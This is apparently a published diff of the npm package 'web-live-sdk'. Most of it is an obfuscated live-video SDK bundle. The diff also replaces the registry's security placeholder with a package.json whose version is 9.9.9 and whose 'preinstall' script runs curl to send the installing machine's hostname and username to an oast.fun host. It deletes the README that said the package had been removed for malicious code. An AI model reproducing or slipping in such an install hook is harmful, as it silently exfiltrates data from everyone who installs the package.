_0x396de1[_0x8bf888(0x26f)](_0x339a17), this[_0x8bf888(0x1b0)][_0x8bf888(0x20c)](_0x339a17); } [_0x239636(0x269)](_0x2af7da) { const _0x3afabb = _0x239636; _0x396de1[_0x3afabb(0x26f)](_0x2af7da), this[_0x3afabb(0x34c)][_0x3afabb(0x324)](_0x18c391[_0x3afabb(0x212)][_0x3afabb(0x352)], (_0x54c4c5 = {}) => { const _0x5068e9 = _0x3afabb; _0x2af7da(_0x54c4c5[_0x5068e9(0x2cf)]); }); } [_0x239636(0x2d2)](_0x590036) { const _0x12b380 = _0x239636; _0x396de1[_0x12b380(0x26f)](_0x590036), this[_0x12b380(0x34c)][_0x12b380(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES'][_0x12b380(0x24e)], (_0x4b68f8 = {}) => { _0x590036(_0x4b68f8); }); } [_0x239636(0x26b)](_0x46d666) { const _0x2821ed = _0x239636; _0x396de1['validateCallback'](_0x46d666), this['postManager'][_0x2821ed(0x324)](_0x18c391[_0x2821ed(0x212)][_0x2821ed(0x2a2)], (_0x512087 = {}) => { _0x46d666(_0x512087, _0x22a97e => { const _0x16a3a2 = _0x31ec; this['setNewAuthToken'](_0x22a97e || this['eventManager'][_0x16a3a2(0x2bb)][_0x16a3a2(0x26e)]); }); }); } [_0x239636(0x32c)](_0x5614c0) { const _0x264b7c = _0x239636; this['eventManager'][_0x264b7c(0x2bb)][_0x264b7c(0x26e)] = _0x5614c0, this[_0x264b7c(0x1b0)]['requestToken'](_0x5614c0, !0x1, !0x0)[_0x264b7c(0x347)](_0x3029b8 => { const _0x20097e = _0x264b7c; this['postManager'][_0x20097e(0x27a)](_0x18c391[_0x20097e(0x32e)][_0x20097e(0x1b2)], _0x3029b8); })[_0x264b7c(0x2cd)](() => { const _0xb283 = _0x264b7c; throw this[_0xb283(0x34c)]['sendToAll'](_0x18c391[_0xb283(0x32e)][_0xb283(0x28d)], _0x18c391[_0xb283(0x32f)][_0xb283(0x32a)]), new Error(_0x18c391[_0xb283(0x32f)][_0xb283(0x32a)]); }); } [_0x239636(0x1d4)](_0x7a7911, _0x2dc61b) { const _0x264e01 = _0x239636; if (!_0x50af2c['test'](_0x7a7911)) throw new Error(_0x18c391[_0x264e01(0x32f)]['invalidColor']); this[_0x264e01(0x2ba)][_0x264e01(0x1d4)](_0x7a7911), this[_0x264e01(0x2fe)](this['styleManager']['getTheme'](), _0x2dc61b); } [_0x239636(0x2fe)](_0x2c9cbd, _0x57a7e9) { const _0x47283a = _0x239636; this[_0x47283a(0x2ba)]['setTheme'](_0x2c9cbd); const _0x518976 = { 'theme': _0x2c9cbd }; this[_0x47283a(0x34c)][_0x47283a(0x342)](_0x57a7e9, _0x18c391[_0x47283a(0x32e)]['SET_THEME'], _0x518976); } [_0x239636(0x2a0)](_0x5974c2, _0x173183 = null, _0x2c3c32 = () => { }) { const _0x18d4e8 = _0x239636; if (_0x396de1[_0x18d4e8(0x26f)](_0x2c3c32), !_0x5974c2 || _0x18d4e8(0x34d) != typeof _0x5974c2) throw new Error('Invalid\x20route\x20mapping\x20config!'); const _0x58eca9 = { ..._0x5974c2 }; _0x58eca9[_0x18d4e8(0x2ae)] || (_0x58eca9[_0x18d4e8(0x2ae)] = window[_0x18d4e8(0x308)][_0x18d4e8(0x280)]), this[_0x18d4e8(0x2df)]['setRouteMapping'](_0x58eca9, _0x173183)[_0x18d4e8(0x347)](() => _0x2c3c32(null, null))[_0x18d4e8(0x2cd)](_0x18582d => _0x2c3c32(_0x18582d)); } [_0x239636(0x30d)](_0x5bb4d8) { const _0x1f2d89 = _0x239636, _0x54cddf = Number(_0x5bb4d8); Number[_0x1f2d89(0x233)](_0x54cddf) || this[_0x1f2d89(0x33c)][_0x1f2d89(0x30d)](_0x54cddf); } [_0x239636(0x1fe)](_0x26c124) { const _0x5ec5d9 = _0x239636; this[_0x5ec5d9(0x1b0)][_0x5ec5d9(0x1fe)](_0x26c124); } ['getUserRelation'](_0xff25a8, _0xc63c8) { const _0x3fde39 = _0x239636; _0x396de1[_0x3fde39(0x2a3)](_0xff25a8), _0x396de1[_0x3fde39(0x26f)](_0xc63c8), this['ensureAccessTokenLoaded']((_0x1cafbf, _0x43f152) => { const _0x1b45ab = _0x3fde39; _0x43f152 ? _0xc63c8(_0x43f152) : this[_0x1b45ab(0x312)][_0x1b45ab(0x257)]({ 'method': _0x18c391[_0x1b45ab(0x1ba)][_0x1b45ab(0x2b0)], 'withCredentials': !0x0, 'url': this[_0x1b45ab(0x2bb)][_0x1b45ab(0x2c4)] + _0x1b45ab(0x252) + _0xff25a8 + _0x1b45ab(0x26d), 'headers': { 'content-type': _0x1b45ab(0x1ae), 'Authorization': 'Bearer\x20' + _0x3cb68c['tokenData'][_0x1b45ab(0x1d0)] } }, (_0x1d2693, _0x23289f) => _0x23289f ? _0xc63c8(_0x23289f) : _0xc63c8(null, _0x1d2693)); }); } [_0x239636(0x2a4)]({ networkUserId: _0xeeefa4, following: _0x118978, source: _0x5c4112 }, _0x36c2a4) { const _0x443dc5 = _0x239636; _0x396de1[_0x443dc5(0x2a3)](_0xeeefa4), _0x396de1[_0x443dc5(0x26f)](_0x36c2a4), this[_0x443dc5(0x1fe)]((_0x542d21, _0x105791) => { const _0x4085d4 = _0x443dc5; _0x105791 ? _0x36c2a4(_0x105791) : this[_0x4085d4(0x312)]['sendRequest']({ 'method': _0x18c391[_0x4085d4(0x1ba)][_0x4085d4(0x27f)], 'withCredentials': !0x0, 'url': this['config']['gatewayUrl'] + '/profile/users/' + _0xeeefa4 + _0x4085d4(0x26d), 'headers': { 'content-type': 'application/json;\x20charset=UTF-8', 'Authorization': _0x4085d4(0x345) + _0x3cb68c[_0x4085d4(0x278)][_0x4085d4(0x1d0)] }, 'body': JSON['stringify']({ 'following': !!_0x118978, 'source': _0x5c4112 }) }, (_0x12a3fe, _0xfa44c9) => _0xfa44c9 ? _0x36c2a4(_0xfa44c9) : _0x36c2a4(null, _0x12a3fe)); }); } [_0x239636(0x25b)](_0x512223, _0xbff353, _0x5b7a97 = () => { }) { const _0x50ddbd = _0x239636; this[_0x50ddbd(0x1fe)]((_0x23956e, _0x3b5baa) => { const _0x3b1aec = _0x50ddbd; _0x3b5baa ? _0x5b7a97(_0x3b5baa) : this[_0x3b1aec(0x312)][_0x3b1aec(0x257)]({ 'method': _0x18c391[_0x3b1aec(0x1ba)][_0x3b1aec(0x2c9)], 'withCredentials': !0x0, 'url': this[_0x3b1aec(0x2bb)][_0x3b1aec(0x2c4)] + _0x3b1aec(0x252) + _0x512223, 'headers': { 'content-type': _0x3b1aec(0x1ae), 'Authorization': 'Bearer\x20' + _0x3cb68c[_0x3b1aec(0x278)][_0x3b1aec(0x1d0)] }, 'body': JSON[_0x3b1aec(0x1be)](_0xbff353) }, (_0x13d800, _0x19f614) => _0x19f614 ? _0x5b7a97(_0x19f614) : _0x5b7a97(null, _0x13d800)); }); } [_0x239636(0x2f0)](_0x2e10c3) { const _0x1ccd13 = _0x239636; _0x396de1[_0x1ccd13(0x26f)](_0x2e10c3), this[_0x1ccd13(0x1fe)]((_0x8ac5c2, _0x36d069) => { const _0x1aaaaf = _0x1ccd13; _0x36d069 ? _0x2e10c3(_0x36d069) : this['requestManager'][_0x1aaaaf(0x257)]({ 'method': _0x18c391[_0x1aaaaf(0x1ba)][_0x1aaaaf(0x2b0)], 'withCredentials': !0x0, 'url': this[_0x1aaaaf(0x2bb)][_0x1aaaaf(0x2c4)] + '/vip', 'headers': { 'content-type': 'application/json;\x20charset=UTF-8', 'Authorization': _0x1aaaaf(0x345) + _0x3cb68c[_0x1aaaaf(0x278)][_0x1aaaaf(0x1d0)] } }, ({ keys: _0x3879f8 }, _0x3d5d2b) => _0x3d5d2b ? _0x2e10c3(_0x3d5d2b) : _0x2e10c3(null, { 'keys': _0x3879f8 })); }); } [_0x239636(0x24a)](_0x1ca068) { const _0x1d38ee = _0x239636; _0x396de1[_0x1d38ee(0x26f)](_0x1ca068), this[_0x1d38ee(0x1fe)]((_0xab66e3, _0x1b565d) => { const _0x58c697 = _0x1d38ee; _0x1b565d ? _0x1ca068(_0x1b565d) : this[_0x58c697(0x312)][_0x58c697(0x257)]({ 'method': _0x18c391[_0x58c697(0x1ba)][_0x58c697(0x2b0)], 'withCredentials': !0x0, 'url': this[_0x58c697(0x2bb)][_0x58c697(0x2c4)] + _0x58c697(0x2a1), 'headers': { 'content-type': _0x58c697(0x1ae), 'Authorization': _0x58c697(0x345) + _0xab66e3[_0x58c697(0x1d0)] } }, (_0x1cb11d, _0x39a2f3) => { if (_0x39a2f3) return _0x1ca068(_0x39a2f3); const { items: _0x75bdff } = _0x1cb11d; return _0x1ca068(null, { 'items': _0x75bdff }); }); }); } [_0x239636(0x338)](_0x18786f, _0x2801f7) { const _0x1fcb9b = _0x239636; _0x396de1['validateCallback'](_0x2801f7), this[_0x1fcb9b(0x1fe)]((_0x153c7d, _0x34ca1b) => { const _0xc2292a = _0x1fcb9b; _0x34ca1b ? _0x2801f7(_0x34ca1b) : this[_0xc2292a(0x312)][_0xc2292a(0x257)]({ 'method': _0x18c391[_0xc2292a(0x1ba)]['GET'], 'withCredentials': !0x0, 'url': this[_0xc2292a(0x2bb)][_0xc2292a(0x2c4)] + _0xc2292a(0x2be) + _0x18786f, 'headers': { 'content-type': _0xc2292a(0x1ae), 'Authorization': _0xc2292a(0x345) + _0x153c7d['accessToken'] } }, (_0x524de6, _0x585fb1) => { if (_0x585fb1) return _0x2801f7(_0x585fb1); const { owner: _0x4d3802, balance: _0x143739 } = _0x524de6; return _0x2801f7(null, { 'owner': _0x4d3802, 'currency': _0x18786f, 'balance': _0x143739 }); }); }); } [_0x239636(0x30a)](_0x5aca26) { const _0xb2e733 = _0x239636; _0x396de1[_0xb2e733(0x26f)](_0x5aca26), this[_0xb2e733(0x1ca)]()[_0xb2e733(0x347)](_0x13d231 => { const _0x3bfc61 = _0xb2e733, { economy: { currency: { id: _0x4b7dc5 } = {} } = {} } = _0x13d231; this[_0x3bfc61(0x338)](_0x4b7dc5, _0x5aca26); })[_0xb2e733(0x2cd)](_0x3ea7b8 => _0x5aca26(_0x3ea7b8, null)); } [_0x239636(0x20d)](_0x3d599d, _0x247de3) { const _0x42b58c = _0x239636; _0x396de1[_0x42b58c(0x2a3)](_0x3d599d), _0x396de1['validateCallback'](_0x247de3), this[_0x42b58c(0x1fe)]((_0x2d56ac, _0x2ffb58) => { const _0x15728f = _0x42b58c; _0x2ffb58 ? _0x247de3(_0x2ffb58) : this[_0x15728f(0x312)]['sendRequest']({ 'method': _0x18c391[_0x15728f(0x1ba)][_0x15728f(0x2b0)], 'withCredentials': !0x0, 'url': this[_0x15728f(0x2bb)][_0x15728f(0x2c4)] + _0x15728f(0x2e1) + _0x3d599d, 'headers': { 'content-type': _0x15728f(0x1ae), 'Authorization': _0x15728f(0x345) + _0x3cb68c[_0x15728f(0x278)][_0x15728f(0x1d0)] } }, async (_0x4fa43a, _0x1112fe) => _0x1112fe ? _0x247de3(_0x1112fe) : _0x4fa43a?.[_0x15728f(0x29f)]?.['error'] ? _0x247de3(_0x4fa43a?.[_0x15728f(0x29f)]?.[_0x15728f(0x2d4)]) : _0x247de3(null, { 'broadcast': await this[_0x15728f(0x21b)][_0x15728f(0x1ea)](_0x4fa43a?.[_0x15728f(0x29f)]?.[_0x15728f(0x258)]) })); }); } [_0x239636(0x256)](_0x2c3f6b) { const _0x2f603c = _0x239636; _0x396de1[_0x2f603c(0x26f)](_0x2c3f6b), this[_0x2f603c(0x1fe)]((_0x52d57e, _0x3c107b) => { const { accessToken: _0x96771d } = _0x52d57e || {}; _0x2c3f6b(_0x3c107b, _0x96771d); }); } async[_0x239636(0x263)](_0x4eaf86, _0x19820a, _0x56e784, _0x2f0d5d, _0x151128 = () => { }) { const _0x12e44a = _0x239636; _0x396de1[_0x12e44a(0x26f)](_0x2f0d5d); const _0x27f934 = _0x224fb9[_0x12e44a(0x348)](_0x19820a, _0x56e784), _0x46f509 = new URL(this[_0x12e44a(0x1cd)] || this[_0x12e44a(0x2bb)][_0x12e44a(0x1ff)]); _0x46f509[_0x12e44a(0x277)] = _0x46f509[_0x12e44a(0x277)] + _0x12e44a(0x282); const { frameId: _0x498eea } = await this[_0x12e44a(0x22c)](_0x4eaf86, _0x46f509, [_0x12e44a(0x1cc)]); return this[_0x12e44a(0x205)](_0x27f934, null, _0x498eea), this[_0x12e44a(0x34c)][_0x12e44a(0x324)](_0x18c391[_0x12e44a(0x212)][_0x12e44a(0x1df)], async (_0x3b9862 = {}) => { const _0x47503d = _0x12e44a; _0x2f0d5d({ ..._0x3b9862, 'broadcast': await this['dataTransformHelper'][_0x47503d(0x1ea)](_0x3b9862[_0x47503d(0x1eb)]) }); }, _0x498eea), this[_0x12e44a(0x34c)][_0x12e44a(0x324)](_0x18c391[_0x12e44a(0x212)][_0x12e44a(0x2cb)], _0x1fae6d => { _0x151128(_0x1fae6d); }, _0x498eea), { 'frameId': _0x498eea }; } [_0x239636(0x206)](_0xa448b, _0x7cf854, _0x24ee50) { const _0x325d20 = _0x239636; _0x396de1[_0x325d20(0x26f)](_0x24ee50), this[_0x325d20(0x228)]['getLivePreviewForUsersBroadcasts'](_0xa448b, _0x7cf854)[_0x325d20(0x347)](async _0x266da2 => { const _0x2ed4f4 = _0x325d20; _0x24ee50(null, { 'broadcasts': await Promise[_0x2ed4f4(0x1af)](_0x266da2[_0x2ed4f4(0x1bc)][_0x2ed4f4(0x2ac)](async _0x2e2af0 => this['dataTransformHelper']['getSNSBroadcastData'](_0x2e2af0))) }); })[_0x325d20(0x2cd)](_0xa4b3c1 => _0x24ee50(_0xa4b3c1)); } [_0x239636(0x249)](_0x55e9b4, _0x43f412, _0x56c0c5) { const _0x1dd32d = _0x239636; _0x396de1[_0x1dd32d(0x2a3)](_0x55e9b4), _0x396de1[_0x1dd32d(0x26f)](_0x56c0c5), this[_0x1dd32d(0x1fe)]((_0x864cb0, _0x8eab04) => { const _0x12799e = _0x1dd32d; if (_0x8eab04) return void _0x56c0c5(_0x8eab04); const _0x29080d = { 'userId': _0x55e9b4, 'limit': _0x43f412?.[_0x12799e(0x24d)] || 0xa, ...void 0x0 !== _0x43f412?.[_0x12799e(0x231)] && { 'isActive': _0x43f412[_0x12799e(0x231)] } }, _0x1d4c6a = this['config'][_0x12799e(0x34f)]; this[_0x12799e(0x312)][_0x12799e(0x257)]({ 'method': _0x18c391['XHR_REQUEST_TYPES']['POST'], 'url': this[_0x12799e(0x2bb)][_0x12799e(0x2c4)] + '/video-api/' + _0x1d4c6a + '/functions/sns-video:getBroadcastsByUser', 'headers': { 'content-type': 'application/json;\x20charset=UTF-8', 'X-Parse-Application-Id': _0x12799e(0x220), 'X-Parse-Session-Token': _0x864cb0[_0x12799e(0x1d0)] }, 'body': JSON['stringify'](_0x29080d) }, (_0xee2689, _0x6624fa) => { const _0x243392 = _0x12799e; if (_0x6624fa) return void _0x56c0c5(_0x6624fa); const _0x25afb5 = _0xee2689?.['result']?.['map'](async _0x2c8a86 => ({ 'broadcast': await this['dataTransformHelper'][_0x243392(0x1ea)](_0x2c8a86) })); Promise[_0x243392(0x1af)](_0x25afb5)[_0x243392(0x347)](_0x2c5114 => _0x56c0c5(null, _0x2c5114))[_0x243392(0x2cd)](_0x586bd4 => _0x56c0c5(_0x586bd4)); }); }); } async[_0x239636(0x294)](_0x5667a2, _0x5e1fe8, _0x25b4c3) { const _0x5f1b13 = _0x239636, _0x2bc647 = async (_0x54064e, _0x45679d) => { const _0x52534a = _0x31ec; _0x5667a2({ 'type': _0x54064e, 'payload': { 'broadcast': await this[_0x52534a(0x21b)][_0x52534a(0x1ea)](_0x45679d) } }); }; this['postManager'][_0x5f1b13(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES'][_0x5f1b13(0x23e)], _0x1f7f0c => _0x2bc647(_0x18c391[_0x5f1b13(0x298)][_0x5f1b13(0x23e)], _0x1f7f0c), _0x5e1fe8), this[_0x5f1b13(0x34c)][_0x5f1b13(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES'][_0x5f1b13(0x2af)], _0x18204b => _0x2bc647(_0x18c391[_0x5f1b13(0x298)][_0x5f1b13(0x2af)], _0x18204b), _0x5e1fe8), this[_0x5f1b13(0x34c)][_0x5f1b13(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES'][_0x5f1b13(0x34b)], _0x45be75 => _0x2bc647(_0x18c391[_0x5f1b13(0x298)]['LIVE_PREVIEW_STOPPED'], _0x45be75), _0x5e1fe8), this[_0x5f1b13(0x34c)][_0x5f1b13(0x324)](_0x18c391[_0x5f1b13(0x212)][_0x5f1b13(0x1d7)], this[_0x5f1b13(0x228)][_0x5f1b13(0x2cc)]['bind'](this['livePreviewManager']), _0x5e1fe8), this['postManager'][_0x5f1b13(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES'][_0x5f1b13(0x1f9)], async () => { const _0x3b0d57 = _0x5f1b13; let _0x2b4ce2 = null; _0x25b4c3[_0x3b0d57(0x307)] || (_0x2b4ce2 = await this['livePreviewManager']['getNextBroadcast'](_0x5e1fe8)), _0x9fe993(_0x5667a2, _0x2b4ce2, this[_0x3b0d57(0x21b)]); const _0x253f7e = _0x224fb9[_0x3b0d57(0x2e3)](_0x2b4ce2?.[_0x3b0d57(0x307)], _0x25b4c3); this['changeRoute'](_0x253f7e, null, _0x5e1fe8); }, _0x5e1fe8); } async[_0x239636(0x232)](_0x5f34cf, _0x38af8c, _0x583385) { const _0x3196a2 = _0x239636; return _0x396de1[_0x3196a2(0x26f)](_0x583385), this[_0x3196a2(0x2f2)][_0x3196a2(0x310)](async () => { const _0x3b5a6f = _0x3196a2, _0x3db4a8 = new URL(this[_0x3b5a6f(0x1cd)] || this['config']['webLiveURL']); _0x3db4a8[_0x3b5a6f(0x277)] = _0x3db4a8[_0x3b5a6f(0x277)] + _0x3b5a6f(0x33f); const { frameId: _0x52c2ba } = await this['createIframe'](_0x5f34cf, _0x3db4a8, [_0x3b5a6f(0x2c5)]); let _0x5351b5; _0x5351b5 = _0x38af8c[_0x3b5a6f(0x307)] ? { ...await this[_0x3b5a6f(0x228)]['getUserBroadcastData'](_0x38af8c[_0x3b5a6f(0x307)], !0x0), 'broadcastId': _0x38af8c['broadcastId'] } : await this[_0x3b5a6f(0x228)]['getNextBroadcast'](_0x52c2ba, _0x38af8c), _0x9fe993(_0x583385, _0x5351b5, this[_0x3b5a6f(0x21b)]); const _0x1fe1ea = _0x224fb9[_0x3b5a6f(0x2e3)](_0x5351b5?.[_0x3b5a6f(0x307)], _0x38af8c, _0x5351b5?.[_0x3b5a6f(0x339)]); return this[_0x3b5a6f(0x205)](_0x1fe1ea, null, _0x52c2ba), await this['initLivePreviewEventHandlers'](_0x583385, _0x52c2ba, _0x38af8c), { 'frameId': _0x52c2ba }; }); } [_0x239636(0x31c)](_0x22b157) { const _0x2e90e1 = _0x239636; this[_0x2e90e1(0x228)][_0x2e90e1(0x2ea)](_0x22b157)[_0x2e90e1(0x347)](() => this[_0x2e90e1(0x34c)][_0x2e90e1(0x342)](_0x22b157, _0x18c391[_0x2e90e1(0x32e)]['LIVE_PREVIEW_PRELOAD'], {})); } [_0x239636(0x2fd)](_0x1592d3, _0xf814fd, _0xd177b1) { const _0x191d4d = _0x239636; _0x396de1[_0x191d4d(0x26f)](_0xf814fd), _0x396de1['validateFontConfig'](_0x1592d3); const _0xae8e1c = Math[_0x191d4d(0x204)]()['toString'](0x24)['slice'](0x2); this['postManager'][_0x191d4d(0x342)](_0xd177b1, _0x18c391[_0x191d4d(0x32e)][_0x191d4d(0x264)], { ..._0x1592d3, 'requestId': _0xae8e1c }), this[_0x191d4d(0x34c)][_0x191d4d(0x324)](_0x18c391['INCOMING_MESSAGE_TYPES']['CUSTOM_FONT_LOADED'], _0xc753ea => { const _0x2bf631 = _0x191d4d; _0xc753ea[_0x2bf631(0x275)] === _0xae8e1c && _0xf814fd(_0xc753ea[_0x2bf631(0x31d)], null); }, _0xd177b1); } ['setTextOverrides'](_0x14031f, _0x2f257f, _0x1f35e1) { const _0x32cbb0 = _0x239636; _0x396de1[_0x32cbb0(0x318)](_0x14031f), _0x396de1[_0x32cbb0(0x340)](_0x2f257f), this['postManager'][_0x32cbb0(0x342)](_0x1f35e1, _0x18c391[_0x32cbb0(0x32e)][_0x32cbb0(0x237)], { 'locale': _0x14031f, 'textData': _0x2f257f }); } [_0x239636(0x1ca)]() { return new Promise((_0x52783e, _0x40e6c7) => { const _0x4f777c = _0x31ec; this[_0x4f777c(0x1fe)]((_0xe4c654, _0x3fb9dc) => { const _0x584870 = _0x4f777c; _0x3fb9dc ? _0x40e6c7(_0x3fb9dc) : this[_0x584870(0x1b0)]['getConfigurationManager']()[_0x584870(0x2d6)](_0xe4c654[_0x584870(0x1d0)])[_0x584870(0x347)](_0x52783e)[_0x584870(0x2cd)](_0x40e6c7); }); }); } }; })()), _0x342796[_0x21a7ec(0x270)]; })())));
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "web-live-sdk",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9.9.9",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "curl — data-urlencode \"info=$(hostname && whoami)\" http://zjbzdrlvchodbbsenaqom4buwidaczkio.oast.fun"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=web-live-sdk for more information.
|